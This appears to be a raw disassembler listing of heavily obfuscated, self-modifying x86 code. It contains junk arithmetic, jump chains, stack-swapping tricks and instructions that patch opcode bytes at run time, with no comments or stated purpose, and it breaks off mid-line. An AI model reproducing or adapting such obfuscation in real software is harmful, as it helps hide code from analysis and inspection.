87E0815Eh, 516E2929h dd 18F9E9h, 33000000h, 240487D3h, 8B240C87h, 0E95259C1h dd 276h ; --------------------------------------------------------------------------- loc_77F740: ; DATA XREF: sub_7815C7:loc_7808D5o push offset word_7813F6 jmp loc_78149A ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_301. PRESS KEYPAD "+" TO EXPAND] dd 0C2810000h, 0B6C48030h, 2AF6128Bh ; --------------------------------------------------------------------------- loc_77F758: ; DATA XREF: sub_780531+5o cmp al, 0A4h jnz loc_7805C9 jmp loc_7808E0 ; --------------------------------------------------------------------------- align 2 sub esi, 0F0A6199Fh jmp loc_77F976 ; --------------------------------------------------------------------------- align 2 xchg eax, [esp] xchg edx, [esp] mov eax, edx pop edx xchg edi, [esp] jmp nullsub_316 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77F784: ; CODE XREF: sub_7815C7+169j jle loc_781474 loc_77F78A: ; CODE XREF: _0xtwbvzc:loc_780DD0p xchg eax, [esp+0] pop eax mov [ecx], eax pop ecx pushf call sub_77FF2E ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 0 dd 83108B00h, 0AE6804C0h, 0E90077F5h, 1C44h, 0E9D6F700h dd 0FFFFFC6Bh, 0EC5E9C3h, 6E90000h, 16h, 698E0F53h, 0E9FFFFFBh dd 116Fh, 24147A00h, 105E9h, 5A680000h, 0DE8ADF94h, 8F682414h dd 0E9007808h, 20E4h, 7AD68100h, 0E9AA0C64h, 4E0h, 0B7C98100h dd 81B7A1D6h, 455EAFE1h, 2DC1812Ch, 0E8D4769Ch, 0E8h, 86E90000h dd 0E9000004h, 342h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FC00 loc_77F815: ; CODE XREF: sub_77FC00+13E3j mov byte ptr [edi], 8Bh pop edi sub al, 99h push offset word_780CFE jmp nullsub_256 ; END OF FUNCTION CHUNK FOR sub_77FC00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77F825: ; CODE XREF: sub_7815C7+35j mov ebp, ecx xchg ebp, [esp-4+arg_0] lea eax, dword_7801F2 call sub_780CD2 jge loc_781860 and edx, 9E795169h jmp loc_781708 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_77FF2E loc_77F848: ; CODE XREF: sub_77FF2E:loc_780F3Fj jl loc_7810D9 ; END OF FUNCTION CHUNK FOR sub_77FF2E ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780D69 loc_77F850: ; CODE XREF: sub_780D69+Aj jmp loc_7812ED ; END OF FUNCTION CHUNK FOR sub_780D69 ; --------------------------------------------------------------------------- align 2 loc_77F856: ; CODE XREF: _0xtwbvzc:00780682j jmp loc_780F51 ; --------------------------------------------------------------------------- align 4 cdq jmp loc_7810D7 ; --------------------------------------------------------------------------- loc_77F862: ; CODE XREF: _0xtwbvzc:loc_780758j add eax, 3D44F8B4h popf xchg eax, [esp] retn ; --------------------------------------------------------------------------- db 0Fh, 84h, 0E7h dd 8100000Dh, 0B814D9C6h, 2B5E8A4h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_258. PRESS KEYPAD "+" TO EXPAND] dd 24E90000h, 81000006h, 0A2079BEFh, 0CBF781EEh, 8133186Bh dd 342560E7h, 8CC78111h, 0E9F04416h, 1E20h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F25A loc_77F8A4: ; CODE XREF: sub_77F25A+120Dj add ebx, 3BD676B2h xchg ebx, [esp+0] jmp loc_7804D5 ; END OF FUNCTION CHUNK FOR sub_77F25A ; --------------------------------------------------------------------------- loc_77F8B2: ; CODE XREF: _0xtwbvzc:0077F3ECj push offset dword_78199C jmp loc_780619 ; --------------------------------------------------------------------------- dd 0E8068B00h, 12A5h, 4870000h, 8B555824h, 242C87EAh, 8C6E9h ; CODE XREF: sub_781374:loc_780D19p dd 0A7E9C300h, 1Dh, 8A11C781h, 0FD03EBF6h, 77FE7B68h, 1011E900h dd 0 ; --------------------------------------------------------------------------- loc_77F8F0: ; CODE XREF: _0xtwbvzc:0077FAE9j xchg ebx, [esp] pop ebx push offset loc_78029F jmp loc_77FBF9 ; --------------------------------------------------------------------------- xchg eax, [esp] pop eax push offset dword_7818A4 jmp loc_780708 ; --------------------------------------------------------------------------- dd 12E3C100h, 8F5E9h, 1F870000h, 10D8E9h, 0C3000000h, 827E800h dd 0 ; --------------------------------------------------------------------------- loc_77F928: ; CODE XREF: _0xtwbvzc:0077FE2Fj jmp locret_780B18 ; --------------------------------------------------------------------------- align 2 add eax, 0B908DC8Ah mov eax, [eax] call sub_7811D4 ; =============== S U B R O U T I N E ======================================= sub_77F93B proc near ; DATA XREF: _0xtwbvzc:0078022Ao var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00780867 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007808F8 SIZE 00000005 BYTES push ebx mov ebx, edx xchg ebx, [esp+4+var_4] push 2E4497E4h pop edx sub edx, 26F2A7D8h or edx, 0FEFC2905h jmp loc_7808F8 sub_77F93B endp ; --------------------------------------------------------------------------- dd 840FD209h, 811h, 77FB3F68h, 0FD9DE900h, 5B68FFFFh, 0E90077F3h dd 0B22h db 2 dup(0) ; --------------------------------------------------------------------------- loc_77F976: ; CODE XREF: _0xtwbvzc:0077F76Cj sbb eax, ecx ; =============== S U B R O U T I N E ======================================= sub_77F978 proc near ; CODE XREF: sub_77F98E+E78p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00780A19 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00781544 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx xchg edx, [esp-4+arg_0] mov ecx, edx jmp loc_780A19 sub_77F978 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F651 loc_77F989: ; CODE XREF: sub_77F651+17j jmp loc_780BAA ; END OF FUNCTION CHUNK FOR sub_77F651 ; =============== S U B R O U T I N E ======================================= sub_77F98E proc near ; DATA XREF: sub_780D69+588o ; FUNCTION CHUNK AT 007807FF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00781495 SIZE 00000005 BYTES add edx, eax loc_77F990: ; DATA XREF: sub_780D69+5o rol edx, 3 xor edx, eax jmp loc_781495 sub_77F98E endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77F99C: ; CODE XREF: sub_7815C7:loc_7810AFj jz loc_7811B3 lodsb jmp loc_78144A ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77F9AA: ; CODE XREF: sub_7815C7:loc_78178Aj push offset byte_7814BF jmp nullsub_304 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- dd 0A4BA0000h, 0E90077FBh, 14F3h, 0AAF98100h, 0E9CCF277h dd 779h, 0F00C600h, 8C08158h, 81E82B47h, 9283A2C8h, 17D56836h dd 7CE90078h, 53000003h, 0B850DD8Bh, 781264h, 1FEE9h, 0C3000000h dd 75DE9h, 685B0000h, 77F958h, 1A25E9h, 0F000000h, 0D7284h dd 81D81300h, 9C32F5C2h, 241487C3h, 1660E9h, 81680000h dd 0E90077FEh, 14B7h, 0C103C1C1h, 0F18110E6h, 2A3C766Ah dd 2DBE9h, 87000000h, 0C88B2404h, 8B240C87h, 120AE9C1h dd 0C3000000h, 1C60000h db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77FA55: ; CODE XREF: sub_7815C7:loc_7800EFj pop ecx or eax, 0FBC5A5BDh call sub_7817BC locret_77FA61: ; CODE XREF: sub_780018:loc_7803C8j retn ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- mov edi, eax xchg edi, [esp] mov eax, offset byte_7817DD jmp loc_781687 ; --------------------------------------------------------------------------- align 2 loc_77FA72: ; CODE XREF: _0xtwbvzc:loc_780B4Ej mov edi, eax pop eax and edi, 95D0AE89h sub edi, 0DF084A39h rol edi, 9 push 77F8DCh jmp loc_780DB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781187 loc_77FA8E: ; CODE XREF: sub_781187+9j cmp al, 0A4h jnz loc_77FA9D jmp locret_781736 ; END OF FUNCTION CHUNK FOR sub_781187 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_781187 loc_77FA9D: ; CODE XREF: sub_781187-16F7j xchg ebp, [esp+0] mov ecx, ebp jmp loc_780513 ; END OF FUNCTION CHUNK FOR sub_781187 ; --------------------------------------------------------------------------- align 4 dd 0FFFA8100h, 0E9BC26A5h, 2EAh, 380EF8B8h, 1B09E926h dd 0F5810000h, 95F2ECB0h, 170BE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FE08 loc_77FAC9: ; CODE XREF: sub_77FE08:loc_780E4Aj rol ecx, 8 sub ecx, 9E63540Fh add ecx, 9F5B4AE6h push offset loc_780F69 jmp nullsub_309 ; END OF FUNCTION CHUNK FOR sub_77FE08 ; --------------------------------------------------------------------------- align 4 push 5088F6C6h jmp loc_77F8F0 ; --------------------------------------------------------------------------- dw 8B00h ; CODE XREF: sub_77FDBF+DFCj ; --------------------------------------------------------------------------- fiadd dword ptr [edi-1345DBE4h] sti ja short $+2 jmp loc_7815C2 ; --------------------------------------------------------------------------- align 10h loc_77FB00: ; CODE XREF: _0xtwbvzc:loc_77FC90j mov byte ptr [eax], 87h xchg ecx, [esp] mov eax, ecx pop ecx pop edx jmp loc_780004 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77FB0F: ; CODE XREF: sub_7815C7:loc_781860j call sub_781565 add [edi], cl ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- dw 0D8Eh dd 8700000Ch, 3487240Ch, 5ECE8B24h ; --------------------------------------------------------------------------- mov ecx, [ecx] pushf ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_77FB27: ; CODE XREF: sub_7815C7:loc_7817FCj push 0A8225909h jmp loc_78049F ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 2 cdq xchg esi, [esp] pop esi mov esi, [esi] jmp loc_7804F5 ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFD85F0h, 11D6E9h, 68108B00h, 781535h, 1BB0E9h, 2C60000h dd 243C8709h, 0E85FD78Bh, 0A8Dh, 8117C6C1h, 0B00098C6h dd 5EFE0343h, 58AE9h, 850F0000h, 0FFFFF9C5h, 7B5E900h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77FC00 loc_77FB82: ; CODE XREF: sub_77FC00+16j jmp loc_781309 ; END OF FUNCTION CHUNK FOR sub_77FC00 ; --------------------------------------------------------------------------- align 4 dd 1AE78100h, 2B1176BBh, 0F3E89D5h, 8D681h, 0F99DE900h dd 3487FFFFh, 8B5E24h, 850FC009h, 0A98h, 191E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780531 loc_77FBB1: ; CODE XREF: sub_780531:loc_7815A7j mov byte ptr [edx], 3Ch pop edx mov [ebp-4], eax push 0FE11CC36h pop eax rol eax, 18h add eax, 0DD81094Eh jmp loc_7805A1 ; END OF FUNCTION CHUNK FOR sub_780531 ; --------------------------------------------------------------------------- sub ebp, 4ECB2456h jmp loc_7815F1 ; --------------------------------------------------------------------------- align 4 locret_77FBD8: ; CODE XREF: _0xtwbvzc:00780C66j retn ; --------------------------------------------------------------------------- align 2 loc_77FBDA: ; CODE XREF: _0xtwbvzc:00781354j mov byte ptr [ecx], 87h pop ecx call sub_780018 add [ecx+3ED069C2h], al inc ebx mov edx, [edx] imul byte ptr [edx] call sub_781187 jmp loc_78042D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_77FBF9: ; CODE XREF: _0xtwbvzc:0077F8F9j jmp locret_7815BD ; --------------------------------------------------------------------------- xchg edx, ebx ; =============== S U B R O U T I N E ======================================= sub_77FC00 proc near ; CODE XREF: sub_780531+79p ; FUNCTION CHUNK AT 0077F815 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0077FB82 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780FD7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00781309 SIZE 00000012 BYTES xchg eax, [esp+0] pop eax xor eax, 6F860A73h add eax, ebp add eax, 0FE40BF0h mov eax, [eax] mov al, [eax] jmp loc_77FB82 sub_77FC00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebx, [esp] push offset byte_780B8B jmp locret_780B88 ; --------------------------------------------------------------------------- dd 0C28B0000h, 51240487h, 6F83C68h, 0F66BE985h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F522 loc_77FC3C: ; CODE XREF: sub_77F522:loc_77FEC5j xchg esi, [esp-4+arg_0] mov ebx, esi pop esi xchg edi, [esp-8+arg_4] push edi jmp loc_780A9A ; END OF FUNCTION CHUNK FOR sub_77F522 ; --------------------------------------------------------------------------- align 4 dd 1A31E8h, 945A6800h, 3C878ADFh, 5FC78B24h, 0DC3FE081h dd 44E92354h, 0FFFFF7h, 87D33300h, 685A2414h, 8B5DC70h dd 0E7E95758h, 0FFFFFDh, 508B0F00h, 87000018h, 0C6582404h dd 20E9C300h, 0C3000009h ; --------------------------------------------------------------------------- loc_77FC90: ; CODE XREF: _0xtwbvzc:00781973j jmp loc_77FB00 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- pop es add ebx, [edi-75h] fldcw word ptr [eax+1Bh] cld ja short $+2 jmp loc_77F622 ; --------------------------------------------------------------------------- loc_77FCA7: ; CODE XREF: _0xtwbvzc:00780204j mov byte ptr [edi], 87h pop edi push ecx mov ecx, ebp loc_77FCAE: ; DATA XREF: _0xtwbvzc:007801FFo xchg ecx, [esp] jmp loc_7813E6 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_781910 loc_77FCB8: ; CODE XREF: sub_781910-1436j jmp nullsub_306 ; END OF FUNCTION CHUNK FOR sub_781910 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 81D1F700h, 0AC23FF1h, 0F9A8E931h, 0FFFFh, 0D4D3C3F7h dd 0A1E986E8h, 15h, 0BD181h, 17E923D7h, 0C3FFFFFFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780763 loc_77FCEA: ; CODE XREF: sub_780763+10j jmp loc_7804AE ; END OF FUNCTION CHUNK FOR sub_780763 ; --------------------------------------------------------------------------- align 10h dd 97890F00h, 87FFFFFDh, 0C159240Ch, 92E903C2h, 87000012h dd 2C582404h, 0D4FE6899h, 2C8765B6h, 0E9D58B24h, 176Dh dd 517E95Eh, 0F0030000h, 1A94E9h, 24348700h, 0B0EC685Eh dd 81598B57h, 6C5D9BE9h, 2C1F7E8h, 0E9000000h, 16D1h, 840F0000h dd 8F6h, 809E9h, 81000000h, 20758CC0h, 0BB6850FEh, 0E900780Ch dd 199Eh db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_307. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp locret_780B40 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_77FD6A: ; DATA XREF: sub_7815C7:loc_7811B3o lodsb push offset loc_7808B7 jmp locret_7808AF ; --------------------------------------------------------------------------- call sub_77FDBF loc_77FD7A: ; CODE XREF: _0xtwbvzc:0077F3E7j jmp loc_781500 ; --------------------------------------------------------------------------- xchg ebx, ecx jmp loc_7804FA ; --------------------------------------------------------------------------- align 4 dd 0A0D30468h, 0FF93E985h, 800FFFFFh, 15E6h, 0FFFECCE9h dd 8D0F00FFh, 338h, 58240487h, 0F6EA6857h, 6BE90077h, 17h dd 0A8E9EB85h, 0Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_77FDBF proc near ; CODE XREF: _0xtwbvzc:0077FD75p ; _0xtwbvzc:00780FFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00780BB1 SIZE 0000000F BYTES xchg ecx, [esp+0] pop ecx mov byte ptr [ecx], 8Bh pop ecx xchg ecx, [esp-8+arg_4] jmp loc_780BB1 sub_77FDBF endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- db 2 dup(0), 3 dd 57C081D9h, 910756Fh, 0D0840FC0h, 0E9000017h, 0FFFFF6E3h dd 0C2FAC081h, 0C87A82Fh, 1C65924h, 1CE9598Bh, 0Eh, 5485C0F7h dd 0EAE9EE71h, 0FFFFFEh ; =============== S U B R O U T I N E ======================================= sub_77FE08 proc near ; CODE XREF: _0xtwbvzc:0077F61Dp ; FUNCTION CHUNK AT 0077FAC9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00780E4A SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push 0E1BF11E0h pop ecx or ecx, 3E527F39h jmp loc_780E4A sub_77FE08 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 loc_77FE1E: ; CODE XREF: _0xtwbvzc:00780A22j jle loc_78057C or eax, 1FDBC3B6h push offset loc_7806BF jmp loc_77F928 ; --------------------------------------------------------------------------- dd 1CC0C100h, 0A8B9C081h, 0C8814116h, 96AB48B5h, 583DF081h ; CODE XREF: _0xtwbvzc:loc_780C92j dd 0C503B008h, 42E9h, 0C5C10000h, 151AE910h, 3000000h dd 0F74E68D5h, 38E90077h, 2BFFFFF4h, 14EFC1EAh, 2B36C2F7h dd 4BE96799h, 10h, 0E800C300h, 1A9h, 5E66800h, 81589BA9h dd 36230C8h, 8F850FEDh, 0E900000Ah, 0FFFFFA96h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_313. PRESS KEYPAD "+" TO EXPAND] dw 8700h ; --------------------------------------------------------------------------- adc al, 24h pop edx mov byte ptr [edx], 8Bh pop edx push ecx mov ecx, eax jmp loc_78009A ; --------------------------------------------------------------------------- add ebx, 0E540E4A7h add ebx, ebp add ebx, 2DCF422Ah mov ebx, [ebx] popf jmp loc_780135 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_77F522 loc_77FEC5: ; CODE XREF: sub_77F522+13j jmp loc_77FC3C ; END OF FUNCTION CHUNK FOR sub_77F522 ; --------------------------------------------------------------------------- loc_77FECA: ; CODE XREF: _0xtwbvzc:00780B32j xchg edi, [esp] pop edi xchg eax, [esp] push ebx mov ebx, offset locret_78167F jmp loc_781678 ; --------------------------------------------------------------------------- dd 572E6800h, 8159A890h, 0B90542E1h, 0FEC1814Ch, 85F96FFAh dd 0F4E9E9C1h, 5300FFFFh, 4BC27168h, 89B85048h, 0E9007800h dd 174Fh, 840F0000h, 435h, 78164568h, 6B9E900h, 9D000000h dd 0FFF851E9h, 0E9C300FFh, 0FFFFFD8Eh, 0FFF36FE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_77FF2E proc near ; CODE XREF: sub_7815C7-1E35p ; FUNCTION CHUNK AT 0077F848 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00780F3F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007810D9 SIZE 00000012 BYTES xchg edx, [esp+0] pop edx push 82BDE54Fh pop eax rol eax, 19h cmp eax, 0AB337D9Bh jmp loc_780F3F sub_77FF2E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 5900h ; --------------------------------------------------------------------------- or esi, 11576A05h rol esi, 0Fh xor esi, 0E0CA73DFh sub esi, 57EAB09Ch add esi, 40CE0194h xchg esi, [esp] jmp nullsub_316 ; --------------------------------------------------------------------------- align 4 jnb loc_780094 jmp loc_78100B ; --------------------------------------------------------------------------- align 4 dd 0E68E0F00h, 87FFFFF9h, 0C65E2434h, 73E90F03h, 0FFFFFAh db 0 ; --------------------------------------------------------------------------- loc_77FF8D: ; CODE XREF: _0xtwbvzc:007810A6j mov byte ptr [edx], 0C3h pop edx pop ebx xchg edi, [esp] mov ebp, edi pop edi ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_310. PRESS KEYPAD "+" TO EXPAND] align 2 loc_77FF9A: ; CODE XREF: _0xtwbvzc:0077F6F5j jmp near ptr word_77F6DA+1 ; --------------------------------------------------------------------------- align 10h dword_77FFA0 dd 1023E8h, 0E9000000h, 0FFFFF624h ; _0xtwbvzc:loc_781764o ... db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780FE8 loc_77FFAE: ; CODE XREF: sub_780FE8-445j push offset loc_780CEE jmp nullsub_313 ; END OF FUNCTION CHUNK FOR sub_780FE8 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_316. PRESS KEYPAD "+" TO EXPAND] dw 0B905h dd 0E80077FFh, 0FFFFFCBFh, 0E95A0000h, 0B3Bh ; --------------------------------------------------------------------------- loc_77FFCC: ; DATA XREF: sub_780FA9+Bo push 4FD8CA16h pop esi and esi, 693121B7h cmp esi, 7B9C9F6Eh jmp loc_7810C3 ; --------------------------------------------------------------------------- align 4 dd offset dword_4D4154+45ACh ; --------------------------------------------------------------------------- jmp loc_780D7F ; --------------------------------------------------------------------------- db 2 dup(0), 59h dd 0CE56F181h, 0C1812D19h, 6566A637h, 0F63A850Fh, 0FFFFh ; --------------------------------------------------------------------------- loc_780004: ; CODE XREF: _0xtwbvzc:0077FB0Aj jmp loc_7816A8 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 37FBC9D9h, 0F2E4E983h, 0FFFFh ; =============== S U B R O U T I N E ======================================= sub_780018 proc near ; CODE XREF: _0xtwbvzc:0077FBDEp ; FUNCTION CHUNK AT 007803C8 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pushf push offset loc_7807B2 jmp loc_7803C8 sub_780018 endp ; --------------------------------------------------------------------------- align 4 dd 24048700h, 95685658h, 5E892C93h, 0E73ECE81h, 5DE9A081h dd 81000007h, 0E39B0AD1h, 0E9EB3372h, 0FFFFFDBCh, 5B241C87h dd 16B6856h, 2BE9DAC9h, 0FFFFF3h, 0C41FE081h, 880F4D71h dd 0FFFFF82Bh, 18A3E9h, 6C60000h, 0A6685E9Dh, 0E90077F6h dd 14A5h db 0 ; --------------------------------------------------------------------------- loc_78007D: ; CODE XREF: _0xtwbvzc:loc_780636j xor ebx, 0FFAFF50Dh add ebx, 0C5E9268Dh xchg ebx, [esp] jmp loc_780CC6 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_780094: ; CODE XREF: _0xtwbvzc:0077FF6Cj call loc_7800F5 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_78009A: ; CODE XREF: _0xtwbvzc:0077FEA6j jmp loc_78134F ; --------------------------------------------------------------------------- align 10h dd 8EE28100h, 817721BCh, 2B168DF2h, 6AEA81E4h, 81CF3986h dd 7C7352C2h, 0F305E9A9h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_780D9D loc_7800BF: ; CODE XREF: sub_780D9D+Bj xchg eax, [esp+0] loc_7800C2: ; DATA XREF: sub_7815C7+191o lock add [eax], al mov edx, [eax] jmp loc_7815EC ; END OF FUNCTION CHUNK FOR sub_780D9D ; --------------------------------------------------------------------------- dd 76820F00h, 0E9FFFFFAh, 1477h, 0D209108Bh, 14FE840Fh dd 8B520000h, 241487D0h, 0F19E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_7800EF: ; CODE XREF: sub_7815C7+A0j jz loc_77FA55 ; END OF FUNCTION CHUNK FOR sub_7815C7 loc_7800F5: ; CODE XREF: _0xtwbvzc:loc_780094p xchg edx, [esp] pop edx call sub_781910 add cl, ch adc edx, [eax] ; --------------------------------------------------------------------------- dw 0 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] dw 0AB89h dd 52FFFFF5h, 1487D68Bh, 0D18B5224h, 0E9241487h, 0FFFFF443h dd 7C60000h, 46E85F9Ch, 13h, 68C10300h, 780287h, 132CE9h db 0 ; --------------------------------------------------------------------------- loc_780135: ; CODE XREF: _0xtwbvzc:0077FEBCj xchg ebx, [esp] push edx pushf push 0CACE72CEh jmp loc_780EF4 ; --------------------------------------------------------------------------- dd 9E890F00h, 8B000007h, 243C8708h, 8D03C65Fh, 183CE9h dd 96680000h, 0E90077F4h, 0FFFFF2D9h, 0C0810000h, 0A099AD7Dh dd 0C3240487h, 145EE800h, 3C870000h, 0C38B5024h, 9C240487h dd 0E6990B68h, 0CB815B0Ch, 0E8EF5130h, 0FFF6F1E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_780191: ; CODE XREF: sub_7815C7-1FDCj call sub_77F651 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- dw 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_303. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 68h dd 0DB065426h, 20F2815Ah, 817C66BEh, 171504C2h, 5ABE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_7801B2: ; DATA XREF: sub_7811D4-6B9o xchg eax, [esp] push edi pushf push 53AEDDFEh xchg eax, [esp] jmp loc_780B4E ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_7801C5: ; CODE XREF: _0xtwbvzc:loc_780619j retn ; --------------------------------------------------------------------------- align 4 loc_7801C8: ; CODE XREF: _0xtwbvzc:0077F64Bj jmp loc_780D8B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_7801CF: ; CODE XREF: _0xtwbvzc:0077F3FAj jmp loc_77F3E4 ; --------------------------------------------------------------------------- dd 7AE85Ah, 0E9000000h, 0FFFFFE9Dh, 0C30000h, 0E43E900h dd 0E9000000h, 28Fh db 2 dup(0) dword_7801F2 dd 525840Fh ; sub_780FA9+4o ... align 4 js loc_781124 push edi mov edi, offset loc_77FCAE jmp loc_77FCA7 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_78020A proc near ; CODE XREF: sub_7815C7+12Fp ; FUNCTION CHUNK AT 00780499 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add edx, ebp push offset loc_781452 jmp loc_780499 sub_78020A endp ; --------------------------------------------------------------------------- align 4 xchg ebx, [esp] push edx pop edi xchg edi, [esp] push ebp mov ebp, ebx xchg ebp, [esp] push offset sub_77F93B jmp locret_780A2E ; --------------------------------------------------------------------------- dd 0C6840F00h, 0FFFFF3h, 96E78156h, 33E3CA4h, 0F3B0E9C6h dd 5300FFFFh, 0AFE9CF03h, 13h, 5A241487h, 0F7C9BE56h, 8BE90077h dd 2, 6F8A0F00h, 87000006h, 875B241Ch, 0D98B240Ch, 0FC21E859h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_78027B: ; CODE XREF: _0xtwbvzc:00780CCBj jmp locret_780C98 ; --------------------------------------------------------------------------- dd 91E99900h, 87FFFFFDh, 0CF8B243Ch, 689C535Fh, 0D11FE08Dh dd 8B243C87h, 79E9DFh db 3 dup(0) ; --------------------------------------------------------------------------- loc_78029F: ; DATA XREF: _0xtwbvzc:0077F8F4o mov ecx, [ecx] pushf call sub_78077A ; =============== S U B R O U T I N E ======================================= sub_7802A7 proc near ; FUNCTION CHUNK AT 00780395 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780ED8 SIZE 0000000A BYTES push ebx mov ebx, 77F3C6h jmp loc_780395 sub_7802A7 endp ; --------------------------------------------------------------------------- mov byte ptr [edx], 9 xchg ebx, [esp] mov edx, ebx pop ebx push 9522928Fh jmp loc_781391 ; --------------------------------------------------------------------------- db 2 dup(0), 0C6h ; --------------------------------------------------------------------------- add [edi-74DBE379h], eax retf ; --------------------------------------------------------------------------- db 5Bh dd 8FE2E281h, 0C281408Fh, 0C075EC92h, 0FFF4E8E9h, 0CDC100FFh dd 363E90Bh, 0 ; --------------------------------------------------------------------------- jnz loc_780AB1 jmp loc_780C09 ; --------------------------------------------------------------------------- align 4 jz loc_78131F or eax, 65E13592h xchg eax, edi jmp loc_78131B ; --------------------------------------------------------------------------- db 0D1h dd 7F4FB9C5h, 12E92017h, 5FFFFFFDh, 810CC3C1h, 0AFBDC3h dd 9B685604h, 5EFA3F7Ah, 810EC6C1h, 5A1F5EEEh, 64E970h dd 87000000h, 15FF243Ch, 7580C0h, 1640E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7817BC loc_780345: ; CODE XREF: sub_7817BC+Ej push offset loc_7818DC jmp nullsub_305 ; END OF 